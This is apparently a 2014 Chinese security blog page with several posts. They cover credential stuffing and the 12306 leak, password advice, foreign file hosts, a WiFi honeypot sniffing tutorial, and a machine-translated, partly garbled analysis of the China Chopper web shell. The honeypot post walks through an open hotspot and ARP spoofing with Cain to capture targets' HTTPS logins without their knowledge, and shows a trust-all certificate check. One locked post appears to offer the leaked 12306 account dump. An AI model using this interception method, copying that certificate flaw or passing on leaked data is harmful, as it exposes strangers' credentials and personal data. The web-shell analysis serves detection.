从12306信息泄露了解何为黑客撞库拖库洗库

1.jpg

12月25日,漏洞报告平台乌云网出现了一则关于中国铁路购票网站12306的漏洞报告,危害等级显示为“高”,漏洞类型则是“用户资料大量泄漏”。据悉,此漏洞将有可能导致所有注册了12306用户的账号、明文密码、身份证、邮箱等敏感信息泄露。对此,中国铁路客户服务中心回应称,经我网站认真核查,此泄露信息全部含有用户的明文密码。我网站数据库所有用户密码均为多次加密的非明文转换码,网上泄露的用户信息系经其他网站或渠道流出。目前,公安机关已经介入调查。

当天,乌云平台继续发布消息称,12306的数据疑似黑客撞库后整理得到,而并非12306直接泄漏。那么什么是“黑客撞库”?我们一起来看看。

2.jpg

撞库:黑客通过收集互联网已泄露的用户+密码信息,生成对应的字典表,尝试批量登录其他网站后,得到一系列密码组合后可以登录的用户。

黑客首先会通过收集互联网已泄露的用户+密码信息,生成对应的字典表,然后再用字典中罗列的用户和密码,尝试批量登陆其他网站。如果用户图省事在多个网站设置了同样的用户名和密码,黑客很容易就会通过字典中已有的信息,登录到这些网站,从而获得用户的相关信息,如:手机号码、身份证号码、家庭住址,支付宝及网银信息等。

3.jpg
之前某电商网站发生的“抹黑”事件,就是黑客利用“撞库”方法,“凑巧”获取到了该电商网站用户的数据(如用户名密码),然后通过模仿用户评论,留下了大量差评。

有安全人士分析了此次12306的用户信息泄露时间,推断基本可以定性为撞库行为。理由如下:

1、随机抽取了一批账号(约50个)均成功登录12306,证明了该批数据是准确的;
2、随机联系了该批数据中的多个qq用户,均反馈没有使用过抢票软件且近期没有购票行为;
3、经与群中人员进行交流,并未有人见过该批18G的全部数据,普遍认为该批数据为撞库所得,并不存在18G的12306全部数据。
4、安全人员搜索以往互联网上的数据进行了匹配,从17173.com、7k7k.com、uuu9.com等网站泄露流传的数据中搜索到了该批13.15万条用户数据,基本可以确认该批数据全部是通过撞库获得。”

黑客团队从地下产业链收购海量用户名及密码数据,在12306、淘宝、京东等不同网站进行撞库匹配,而大部分网民在各大互联网平台采用同一套用户名密码,这会让黑客存在可乘之机。

有安全领域人士分析称,12306此次信息泄露依然和安全体系不完善有关,如果这次撞库发生在需要二次验证登录的系统中则不可能成功。

拖库:和撞库类似,拖库也是一个黑客术语,它指的是黑客入侵有价值的网站,把注册用户的资料数据库全部盗走的行为,因为谐音,所以也常被称作“脱裤”。之前发生的某手机品牌用户信息大量泄露事件,就是拖裤行为的一个典型案例。在该事件中,用户名和密码大量泄露,黑客反过利用这些用户名和密码,登录该品牌服务器,获得了极其详细的用户资料,其中包括用户的手机号、邮箱甚至通讯录等。

洗库在取得大量的用户数据之后,黑客会通过一系列的技术手段和黑色产业链,将有价值的用户数据变成现金以达到非法获利的目的。这一过程被称为“洗库”。比如:售卖用户账号中的虚拟货币、游戏账号、装备等变现,也就是俗称的“盗号”;对于金融类账号,比如:支付宝、网银、信用卡、股票的账号和密码等,用来进行金融犯罪和诈骗;对于一些比较特殊的用户信息如:学生、打工者、老板等,则会通过发送广告、垃圾短信、电商营销等方式变相获利;另外是将有价值的用户信息直接出售给第三方,如网店经营者和广告投放公司等。比如黑客利用此次获取的12306帐户信息做铁路购票、退票、专卖信息等。

这里再次特别提醒用户,一定提高警惕,保护自己的帐户密码安全,尽量不要在多个网站或者客户端中使用相同的用户名和密码,并且不定时更换密码。参阅《江湖险恶 如何设置安全又方便的个人密码》


Mrxn 发布于 2014-12-27 12:29

江湖险恶 如何设置安全又方便的个人密码

 不可否认,我们的生活已经被密码层层包围:打开锁屏手机,需要输入密码;打开电脑,需要输入密码;上QQ微信聊天,需要输入密码;登录微博论坛购物网站,需要输入密码;使用银行卡支付宝等等,更要需要输入密码……每个人都有自己的一套密码,密码后面就是我们的重要信息、隐私以及财产,其重要性不言而喻,个人密码的安全性和被破译难度将直接影响到用户的数据与信息安全。因此,为自己的各个账户设置一组难以破解的密码是构筑个人信息安全最重要一步。但如果密码过于复杂,连密码主人也难以记住,是不是又有点反人类?本文就来聊聊设置密码的注意事项以及如何设置既安全又方便的个人密码。
1.jpg
背景知识:弱密码与强密码

弱密码:指短密码、常见密码、默认密码等以及能被穷举法通过排列组合破解的密码,这些密码因为过于简单和常见,很容易被被快速破译。常见弱密码如下,大家看看有没有懒人还在用这些白痴密码呢?
太简单的密码:admin、abc123、password、aaaa
由于文化因素常用:888888、666666
常用键盘的键排列:asdf、qwerty

强密码:长度足够长、排列随机、使用大小写字母以及数字和特殊符号组成,不容易被穷举等破解算法破译的密码。下面我们列出一些强密码的示例(注:这些密码因为公布出来为众人所知,不再算做是强密码,仅作为形式参考。)
t3wahSetyeT4 -- 不是字典的单词,既有数字也有字母
[email protected] -- 不是字典的单词,除大小写字母、数字外还有标点
MoOoOfIn245679 -- 长,既有数字也有字母
Convert_100£ to Euros! -- 足够长,并且有扩展符号增加强度
Tpftcits4Utg! -- 一串随机的各种元素的混合
akd,H‰‘U‘(#t*’№&*§÷×’u -- 含键盘上没有的字符

密码设置雷区:千万不要这样做

不要设定密码为带有生日、电话号码、QQ或邮箱等与个人信息有明显联系的数据,也不要采用字典中的单词,原因很简单,这些都属于弱密码。

不要在多个场合使用同一个密码:为不同应用场合设置不同密码,特别是有关财务的网银及网购账户,避免一个帐户密码被盗,其它帐户密码也被轻易破解。

不要长期使用固定密码:定期或者不定期修改密码,安全更有保障。

不要将密码设置得过短:密码越长,破解的时间也越长。如果不想让黑客在24小时内能破解你的密码,密码长度应该超过14个字符。

密码设置技巧:先设置基础密码,然后用统一规则叠加组合成不同强密码

首先选取一个基础密码,然后根据不同的应用场合,再按照自己设置的简单规则叠加组合一些其他元素。

基础密码+网站名称的前两辅音字母+网站名称的前两个元音字母:比如基础密码是“yesky”,那么要登录Yahoo时密码就是yeskyYHAO,登陆eBay时就是yeskyBYEA。

自己喜欢的单词+喜欢的数字排列+网站名称的前三个字母或者后三个字母。这样,淘宝(Taobao)登录密码可以是Flower100TAO或者是Gold520Bao。

选定基础密码之后,键入时将手指在键盘上向某一个方向偏移一些位置。比如基础密码是“cat“,我们输入时将手指向左上方偏移一个键位,就变成了”dq5“。

2.jpg

注意:好的密码长度应该超过8个字符,同时包含大写字母、小写字母、数字以及特殊字符。

下面提供一些选择基础密码的小技巧供大家参考:

某句短语或是某首歌曲副歌的首字母。比如你很喜欢The Jackson 5的那首成名曲 I Want You Back,就可以用“IWUB”。或者PPtt13Mod,DKstFre1st对应的“娉娉婷婷十三余,豆蔻梢头二月初”。

用键盘上比较靠近的按键组合,比如说“yui”或是“zxcv”。

用自己家人或者朋友名字的首字母以及特殊的纪念日,比如“TFB0602”。

其他密码设置怪招

胡乱敲击键盘:对于敏感账户,有专家建议随机乱敲键盘,并间或敲击Shift键,然后将结果复制到一个文本,存入一个有密码保护的U盘。

安全问题答非所问:网站的验证问题经常问道“你最喜欢什么食物?”“你毕业于什么学校?”,这些问题的答案局限性太大,很容易搜索出答案。比较安全的做法是密码提示和问题无关。比如安全问题是“你喜欢什么歌曲?”,你的回答可以是你宠物店名字等等。

密码生成器:如果还是不想自己设置,网络上有很多在线密码生成器,可以根据一些算法,根据基础密码和网站地址来生成不同的密码。不过如何保存这些密码,也是需要注意的问题。现在有一些个人资料管理工具如Keepass、LastPass、1Password等,可以集中将个人数据、加密密码进行保存,并且通过基于图像或个人手势的方式进行解锁。

现在很多网站也设置了双重认证等机制,增加额外密码安全保护,并且要求验证两个独立的方式,通常情况下是密码和短信验证码的组合。结合上面介绍的一些方法和技巧,希望大家的“密码生活”更加轻松安全。


Mrxn 发布于 2014-12-26 12:25

在Windows平台下搭建WiFi蜜罐小计(附工具下载)

 不知道大家对蜜罐了解多少,服务器上的蜜罐或许很多人都知道的,WiFi蜜罐你知道多少呢?


今天就小记一下自己搭建WiFi蜜罐的一些过程和心得体会。-----寒假闭关修炼 ^_^ 更新少,但是我会把他们呢记录在doc里,


出关之时,分享给大家的。嘿嘿,下面就开始正文(所有用到的工具在后面贴出来了,此处应有掌声!):

目的:捕获某APP的网络数据


       Tcpdump抓包方式


       Tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。
       1.首先你的安卓手机得拥有root,手机开启调试模式与电脑连接。
       2.将tcpdump拷贝到安卓的/data/local/tmp目录,adb命令如下:adb push c:\wherever_you_put\tcpdump /data/local/tcpdump。
       3.修改tcpdump属性为可执行,adb命令如下:adb shell chmod 777/data/local/tcpdump。
       4.进入adb模式,adb命令如下:adb shell
       5.获得root权限,命令如下:su
       6.到达指定目录/data/local/tmp,命令如下:cd /data/local/tmp
       7.启动tcpdump开始抓包,命令如下:./tcpdump -i any -p -s 0 -w /sdcard/capture.pcap。参数说明:
       # "-i any": 监听任何网络端口
       # "-p": 混杂模式
       # "-s 0": 捕获整个包
       # "-w": 将数据写入指定文件
       现在已经开始抓包了,停止抓包后将文件/sdcard/capture.pcap拷贝出来(adb pull /sdcard/capture.pcap d:/),使用wireshark打开即可对其网络数据包分析了。
       这种方式抓包我个人觉得很不方便,不过也可以很完全的捕获网络数据包,但是缺点很明显,手机系统为安卓,手机得root,反复的执行adb命令操作很是麻烦,而且不能在用户不知道情况下截获数据包,当时不知道别的方式就用这种方式分析网络数据包。


       Fiddler抓包方式


       Fiddler是最强大最好用的Web调试工具之一,它能记录所有客户端和服务器的http和https请求,允许你监视,设置断点,甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说,都有很大的帮助。
      1.     电脑与手机连入同一局域网。
      2.     打开Fiddler,     Tools->Fiddler Options 。 (配置完后记得要重启Fiddler)。
      3.     选中"Decrpt HTTPS traffic",   Fiddler就可以截获HTTPS请求。


      4.     选中"Allow remote computers to connect".  是允许别的机器把HTTP/HTTPS请求发送到Fiddler上来。


1.png

2.png

5. 将手机设置代{过}{滤}理为fiddler机器的ip,端口为8888。

此时已经完成了HTTP抓包设置,如果要捕获HTTPS的包,只需要在手机端访问IP:8888,然后安装证书即可。
这种方式设置以及操作都很简单,而且不限制平台(IOS Android PC…),均可捕获HTTP以及HTTPS,而且Fiddler还有更多强大的功能方便自己在测试调试时候使用,但是不能在用户不知道情况下截获数据              包,不可能让目标机器设置代{过}{滤}理,然后数据走向你的电脑。


 Windows下WIFI蜜罐
 最后想到了架设一个无密码WIFI,让目标自动连接后再来分析其机器的网络数据。
 曾今在看雪看过一篇文章《Windows下的无线热点蜜罐》http://bbs.pediy.com/showthread.php?t=179529&highlight=%E8%9C%9C%E7%BD%90,读者也可以参考下,本人也实践过,确实比较方便,            但是本人机器出现分享的网络不稳定情况,所以放弃这种方式,换了一种更加简便的方式。


 工具:360随身WIFI,猎豹WIFI等

3.jpg


本人使用360随身WIFI搭建了一个无密码热点。使用wireshark监听本地网卡数据,等待目标机器连接。

不懂怎么使用wireshark的可以看我这篇文章:抓包利器----Wireshark---从入门到精通谢列教程


4.png

这里使用吾爱破解的客户端APP做了测试,连接此免费WIFI蜜罐后,顺利抓到需要的东西。

5.png

 只要APP使用明文传输数据,在WIFI蜜罐下均可能泄露重要信息,有人可能会说使用HTTPS传输就安全,下面将演示由于编码不规范造成的HTTPS在WIFI蜜罐下也可能被嗅探。

 Windows下WIFI热点嗅探HTTPS原理与实现
 在安卓APP中通常在进行账号密码验证中使用HTTPS,谷歌提供了安全的API供开发者调用,但是开发者由于各种原因未能按照规范进行使用,导致 自身产品出现漏洞。原理说明,最重要的一点就是开发者未能严格校验证书导致漏洞存在,谷歌提供的HTTPS API要求开发者对签名CA是否合法,域名是否匹配,是不是自签名证书,证书是否过期做检查,但是大多数开发者实现的代码如下:
class ae implements X509TrustManager
{
  ae(ad paramad)
  {
  }
  public void checkClientTrusted(X509Certificate[] paramArrayOfX509Certificate, String paramString)
  {
  }
  public void checkServerTrusted(X509Certificate[] paramArrayOfX509Certificate, String paramString)
  {
  }
  public X509Certificate[] getAcceptedIssuers()
  {
    return null;
  }
}


这段代码已经很清晰的暴露了问题。

              实现WIFI蜜罐下嗅探HTTPS
             开启两台虚拟机,一台用于用于搭建WIFI蜜罐,一台用于嗅探HTTPS。WIFI蜜罐如上一步已经搭建完成,在另外一台机器开启cain。
              首先激活网卡

6.png

  选择ARP

7.png

选择欺骗对象,左边选中网关,右边选择欺骗对象(也就是搭建WIFI蜜罐的机器)。

8.png

 选择HTTPS,输入需要嗅探的HTTPS IP,下载证书,然后进行欺骗。环境已经OK,然后坐等数据吧。Cain很人性化的将HTTPS请求与返回数据都捕获到了。

9.png

   从 刚开始不知道如何捕获移动端网络数据包,到最后完成一次完整的HTTP以及HTTPS数据包也是花了大概一周时间,期间遇见了不少的坑,当然也在 windows以及linux做了多次尝试,最后发现windows上面是最适合我的。现在移动端APP编码规范称次不齐,笔者已经在多款APP发现有这 些问题,在这里也提醒大家不要去连接未知的WIFI,即使写明了密码,如果实在需要连接也不要使用密码操作等敏感行为。

Tools_tcpdump_cain_fiddler_wireshark_download  

密钥:wvt4EtZ37iKwO0iS7IJ41c6lhimc7IpxPjlSAKzstR0

在此提醒大家,免费的未知WiFi,一定要小心啊! 大家可以跟着步骤走,练习一下。请勿用于非法用途!



Mrxn 发布于 2014-12-26 08:48

123O6的裤子 懂得进 不懂得别比比 望大家珍重啊

[该文章已加密,请点击标题输入密码访问]


Mrxn 发布于 2014-12-25 20:57

12306网站用户数据泄露:用户帐号密码身份证邮箱疯传

据第三方漏洞报告平台乌云网曝出,12306网站现用户数据泄露漏洞,大量12306用户敏感数据在互联网疯传,其中包括用户帐号、明文密码、身份证、邮箱等数据,目前泄漏途径未知。该漏洞已经提交给了国家互联网应急中心进行处理,

而今天中午12306官方网站已经第一时间在网上回复了这条消息。据官网回应,用户信息系经其他网站或渠道流出,非官方网站流出,目前公安机关已经介入调查。




以下为12306公告全文:

关于提醒广大旅客使用官方网站购票的公告

针对互联网上出现“网站用户信息在互联网上疯传”的报道,经我网站认真核查,此泄露信息全部含有用户的明文密码。我网站数据库所有用户密码均为多次加密的非明文转换码,网上泄露的用户信息系经其他网站或渠道流出。目前,公安机关已经介入调查。

我网站郑重提醒广大旅客,为保障广大用户的信息安全,请您通过官方网站购票,不要使用第三方抢票软件购票,或委托第三方网站购票,以防止您的个人身份信息外泄。

同时,我网站提醒广大旅客,部分第三方网站开发的抢票神器中,有捆绑式销售保险功能,请广大旅客注意。

中国铁路客户服务中心

2014年12月25日 

  博主已经修改密码了..你们也速度修改吧




Mrxn 发布于 2014-12-25 15:22

2014圣诞祝福-可以自定义好友名字的祝福-个性十足

 今晚就是圣诞平安夜,明天就是圣诞节了,赶快行动吧,

       给你的好朋友送去一个个性十足的圣诞祝福吧!Mrxn在祝福所有朋友平平安安,开开心心!

你只需要在下面填写好朋友的名字和你的名字,然后提交,把浏览器的地址复制发给你的好朋友就把祝福送到了哟 ^-^ .  你也可以点击左下角的 分享按钮,把这个祝福分享给到其他社区,大家一起为好友送去祝福吧! 欢迎大家转载,分享! 下面是效果图(实际图更帅哦): 地址点我

火狐截图_2014-12-24T07-31-17.404Z.png

2014-000079.png


Mrxn 发布于 2014-12-24 14:32

第二个百度网盘,上传天朝禁止的东西的好地方!

它的主界面(和百度云特别像,请放大图片看):

2014-000073.png

首先分享一下更新的查资料工具:

https://mega.co.nz/#!xBoUjCoI!Dr0OHM34aHfrDvuSH4KXuGKxMmYntWlQI3WP9nCU2_c

它的名字就是 MEGA 官方地址: https://mega.co.nz   它的服务器在美国,但是不查资料也能打开!

功能和百度云相似:

1、网页上传和客服端上传;

2、上传后的文件可以进行 移动、复制、删除、重命名等;

3、完美支持外链,但是外链的都是加密的;

4、有回收站,删除后的文件能在一定时间内恢复;

5、可以邮件分享给好友或者是联系人;

6可上传文件夹/单文件.

注:默认上传速度比较慢,请按以下方法修改一下即可实现你现有宽带的最大上传速度:

打开设置功能 把上传速度限制修改成 【自动】我的上传速度426.9kb/s(4M宽带):

2014-000077.png

2014-000078.png

2014-000074.png2014-000075.png

另外在介绍几款博主用过的国外的不错的网盘(地址请自行百度,部分网盘需要查资料,请点击这篇文章):

1、FileUpYours

容量100MB,月流量500MB,虽然不大,但相对于国内的网络硬盘已经是非常好的了,文件类型的限制不大,除了htm,asp之类的文件其它都几乎可以上传。


2、FileDen

口碑非常好的老牌免费网络硬盘,1G空间,5G的月流量,前一段时间那篇关于“王紫娇”的文章里面的所有图片压缩包我就是上传到这里,支持的文件类型和FileUpYours差不多,界面比较清新。


3、YourFilez

似乎和FireUpYours使用了同一个管理系统,5G空间大小,50G月流量,对于这么好的支持外连免费网络硬盘你还能要求什么?除了一些网页文件之外其它类型的文件都支持。


4、MusicWebTown

如果你是打算做播客,那么这个网络硬盘非常适合你,你只能在上面上传mp3文件,可以在上面创建你的播放列表,在线听取别人共享出来的歌曲(盗版问题又出现了),上传的文件除了支持外连之外还可以使用MusicWebTown提供的播放代码,直接嵌入到blog中。空间大小和月流量都是10G,单个文件限制20MB。速度不快,但还可以接受。


5、Windows Live SkyDrive

微软的产品,被和谐的机会相对较小,如果你想要安全但又支持外连的网络硬盘,这是一个不错的选择。目前SkyDrive开放注册,注册后有中文界面。空间大小为15G,你可以把文件上传后进行分享,选择公开即可创建外链地址。


6、BOXSTr

空间大小5G,月流量10G,这是相当充裕的了,可能吧使用的时候感觉上传和下载的速度都是非常不错的,支持的文件类型也很多,Boxstr有一个与众不同的地方是它可以让你把文件压缩成zip文件再进行下载,对于一个免费的支持外部连接的网络硬盘,这样的服务你还想怎样!


7、FileNanny

上个月还可以用,如今似乎已经被和谐了。没办法,支持外部连接的网络硬盘都很容易被和谐。如果你不介意和谐的话可以使用,500MB空间,5G月流量,文件类型不限(还是除了网页文件)。如果你能打开,可能只是某些线路被和谐了。


8、 Too Files –法国可外链图片的无限容量免费网络硬盘

Too Files是来自法国的免费在线文件存储空间,有中文版,容量不限,无需注册即可上传文件,单个文件限100M以内,如果注册为Too Files会员,可以上传最大1000M的文件,有文件类型限制,存储时间不详,文件可设置公开或私有。Too Files仅允许图片文件外链,其它类型文件不能外链。


9、Baying.com提供无限免费的储存空间

Baying.com是来自斯德哥尔摩(瑞典首都)的免费无限文件存储空间,无须注册即可使用,页面很简洁,可上传多种格式的图片,包括RAR、ZIP图片压缩包等,最大上传文件支持100M。上传的文件他们不会审核(可以上传任意文件)。上传很简单,首先选择要上传的图片,然后填上移除码,输入Tags,点击“Upload“即可获得一个链接地址。上传的图片支持外链,图片的地址获取需右键点击图片。



10、uploaded.to 单文件达250M的可赚钱免费网络硬盘空间


uploaded.to是一个文件上传服务,这个领域的竞争一直以来都很激烈,可能是为了拓展市场,它最近也推出了类似于Ziddu以及easy-share的下载分成业务;也就是你上传的文件,会根据被下载次数,兑换成给你的分成;由于分成免费帐户和付费帐户,所以不同用户所能得到的回报也是不同的,详细情况可以看网站介绍,另外uploaded.to也刚刚提供了一个本地上传客户端,可以让用户更容易的上传文件。上传成功后会提供相应的下载页面链接,如果你不想让别人下载你的文件,你可以设置密码保护。但是不知道上传的文件可以保存多长时间。速度也不太理想。另外,如果你上传的文件被下载1000次就可以赚9美元,感兴趣的可以去了解下。



11、荷兰2Shared提供免费无限空间的网络硬盘

2Shared是来自荷兰的一个专业的免费网络硬盘,没有容量限制,可无限上传文件。不需要注册,也不需要下载插件,只需简单的几步就可上传文件。同时也支持多文件上传(你的电脑已安装Macromedia Flash Player 8以上的版本),单个文件最大为100M。对文件类型不限制,可上传音乐、图片、视频、游戏等文件,且支持下载。除图片外其他文件不支持外链。可对文件进行密码保护设置。




12、good.gd无需注册无限免费上传空间

Good.gd - Sharing is Good - 无需注册,没有空间大小限制,提供下载地址的免费上传空间- 在线存储 - 免费上传文件大小不要超过10M,超过10M的文件可切割成多个文件或压缩为更小的文件再上传。




13、MongoFiles –单个文件100M的无限免费网盘


MongoFiles免费网络硬盘,无需注册即可上传,单个文件限制100M以内,总存储空间没有做限制,不限制文件类型。MongoFiles限制最大下载速度50K/秒,非注册用户上传的文件保存5天,注册用户保存30天,如果需要永久保存和上传更大单个文件就要花钱购买专业网络硬盘服务了。MongoFiles专业做收费网络存储,免费网盘纯粹属于试用,故此不像其它分享型网盘那么多广告,目前没发现MongoFiles有任何广告,界面很干净。



14、free.fr – 单个文件可达10G支持FTP上传的免费网盘


free.fr是一家非常有名的免费空间服务商,free.fr还提供无限存储空间的免费网盘服务,无需注册即可在线上传文件,单个文件最大1G。如果注册为用户,可以使用FTP上传最大10G的单个文件,而且速度不错。free.fr要求帐户2个月不使用将会被删除,上传的文件要求30天至少被下载一次即不会被删除。



15、 iFile.it – 无限存储空间免费网络硬盘


iFile.it为大家提供无限存储空间的免费网络硬盘,无需注册为iFile.it用户即可上传文件,单个文件限100M以内,如果注册为iFile.it用户可以上传单个250M以内的文件。iFile.it限制每个下载的线程不超过2个,在美国和德国均有服务器,国内下载速度不错。对于非注册用户,如果上传的文件30天无人下载将被删除;免费注册用户,大于100M的文件30天内无人下载将删除、小于100M文件90天内无人下载将删除。iFile.it承诺并不会严格执行存储时间限制,除非服务器资源紧张。



16、ImageHost – 支持图片外链的无限空间免费网盘


ImageHost免费网盘,无限存储空间,单个文件限100M以内,无需注册即可上传,很简单的方式分享你的文件,但不提供会员管理功能。对于1M以下的JPG、GIF、PNG图片可以外链。ImageHost免费网盘不限上传文件类型,但对某些类型文件会自动压缩为ZIP格式。



17、 讯6 – 无限空间免费网络硬盘


讯6免费网络硬盘,无限存储空间,无需注册即可上传文件,每个文件最大100M,下载需要输入验证码并等待,可以给你上传的文件加密码,上传的文件30天内无人下载会被删除。除了直接上传你电脑上的文件以外,还支持从其他网站将文件上传到讯6,或者从FTP中把文件上传到讯6。另外,如果你的下载量突破200个,还可加入讯6的赚钱系统,通过分享文件来赚取佣金。



18、RayFile免费网络硬盘+无限空间


RayFile提供了最简便的免费网络存储服务,使商业和个人用户能方便的共享图片,视频和其他文件,对上传的文件大小和存储空间没有限制,同时可上传多个文件,同时下载地址将发送到你所填的邮箱里,但上传的文件不是永久保存的,是通过文件的账户健康指标来决定是否删除,账户健康指标 = 您的文件所占的存储(以兆为单位) / 每天访问您文件的独立IP个数。



19、 法国Ipernity无限可外链多媒体网络硬盘


Ipernity是来自法国的免费网络硬盘,Ipernity的方案是“共享一切,分享一切”,本方案源于2004年5月的一个简单想法。经过3年后,Ipernity于2007年终于上线了。


Ipernity网络硬盘对存储空间不限制,但免费用户每月只允许上传200M文件,每次上传总大小不能超过90MB,对上传的文件类型不限制,可上传图片、音频、视频等文件,对这三种文件有预览和在线播放功能。支持图片的直接外链,可对文件设置“公开、私人、与朋友分享、与家人分享”等访问权限。Ipernity支持8种上传方式,可任意选择,支持批量上传文件,尤其支持ZIP压缩文件、邮件、手机等上传功能。


Ipernity虽然是法国的,但支持包括中文简体在内的多种语言,所以使用非常方便。Ipernity还为每一个空间提供一个免费二级域名(注册后可设置),但二级域名只是转发到你的空间主页上,并非绑定。Ipernity同时还提供免费博客、群组等服务。

标签: 分享

Mrxn 发布于 2014-12-23 14:05

剖析中国菜刀第二部分


介绍

在本系列的第一部分,我描述了中国砍刀的易于使用的界面和先进的功能 - 更卓越的综合考虑网络shell的微小尺寸:73字节的ASPX版本,4千字节的磁盘。在这篇文章中,我将解释中国砍刀平台的通用性,交付机制,流量模式和检测。我的希望是,有了这些信息,你可以消灭这种害虫从您的环境。

平台

那么,什么平台上可以运行中国菜刀?任何Web服务器能够运行JSP,ASP,ASPX,PHP或CFM的。这是大多数Web应用程序语言在那里。什么操作系统?中国斩波器具有足够的灵活性,以在Windows和Linux的透明运行。这个操作系统和应用程序的灵活性,使他们成为更危险的Web外壳。

在本系列的第一部分,我们发现中国砍刀执行使用ASPX在Windows 2003的IIS服务器上。现在,我们将显示它与PHP运行在Linux上。如图1的PHP版本的内容是一样的简约:


<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图1:此命令是所有它需要在Linux上使用PHP来运行。<br> <br> &nbsp;<br> <br> 虽然可用选项因什么平台中国砍刀上运行,Linux中的文件管理功能(见图2),类似于那些在Windows中。</p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg"><img width="782" height="325" class="alignnone size-full wp-image-2662 landscape-med" style="border:0px currentColor;border-image:none;" alt="image002" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg" data-ke-src="https://mrxn.net/content/uploadfile/201504/56580223669557b619faa1a69b9d820620150418124111.jpg"></a> </p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图2:文件浏览功能在目标系统上运行Linux<br> <br> &nbsp;<br> <br> 在图3所示的数据库的客户端的例子是MySQL的,而不是MS-SQL中,但它提供了许多相同的功能。</p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="297" class="alignnone size-full wp-image-2663 landscape-med" style="border:0px currentColor;border-image:none;" alt="image003" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg"> </p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图3:从目标系统运行Linux的数据库管理<br> <br> &nbsp;<br> <br> 虚拟终端看起来熟悉(图4),但使用的Linux命令代替视窗,因为这些是由底层操作系统最终解释。</p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="296" class="alignnone size-full wp-image-2664 landscape-med" style="border:0px currentColor;border-image:none;" alt="image004" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg"></p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图4:从目标系统运行的Linux虚拟终端<br> <br> &nbsp;<br> <br> 交付机制<br> <br> 中国斩波的递送机制可以非常灵活,由于恶意软件的有效载荷的大小,格式,和简单。这个小的,基于文本的有效载荷可以通过以下任一机制来递送:<br> <br> &nbsp;&nbsp;&nbsp; WebDAV的文件上传<br> &nbsp;&nbsp;&nbsp; JBoss的JMX控制台或Apache Tomcat的管理页面(有关此攻击媒介的详细信息,请阅读FireEye顾问托尼·李的解释)<br> &nbsp;&nbsp;&nbsp; 与文件放置远程攻击<br> &nbsp;&nbsp;&nbsp; 从其他接入横向传播<br> <br> &nbsp;<br> 流量分析<br> <br> 现在我们已经看到了服务器侧有效载荷和用于控制Web壳客户端。现在,让我们来看看中国砍刀的流量。幸运的是,我们在服务器和客户端组件,所以我们可以开始一个数据包捕获,查看典型流量的内容。如图5所示,客户端启动使用HTTP POST方法通过TCP端口80的连接。</p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="448" class="alignnone size-full wp-image-2671 landscape-med" style="border:0px currentColor;border-image:none;" alt="image007" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg"></p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图5:数据包捕获显示,网络流量的外壳是通过TCP 80端口的HTTP POST交通<br> <br> &nbsp;<br> <br> 因为这是TCP流量,我们可以在“遵循TCP”,在Wireshark的流(一种流行的开源网络协议分析仪,在Unix和Windows的作品)。在图6中,在顶部的红色交通从攻击(Web客户机)。在底部显示为蓝色交通从目标(网络外壳)的响应。</p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.wireshark.org/" data-ke-src="http://www.wireshark.org/"></a> </p>
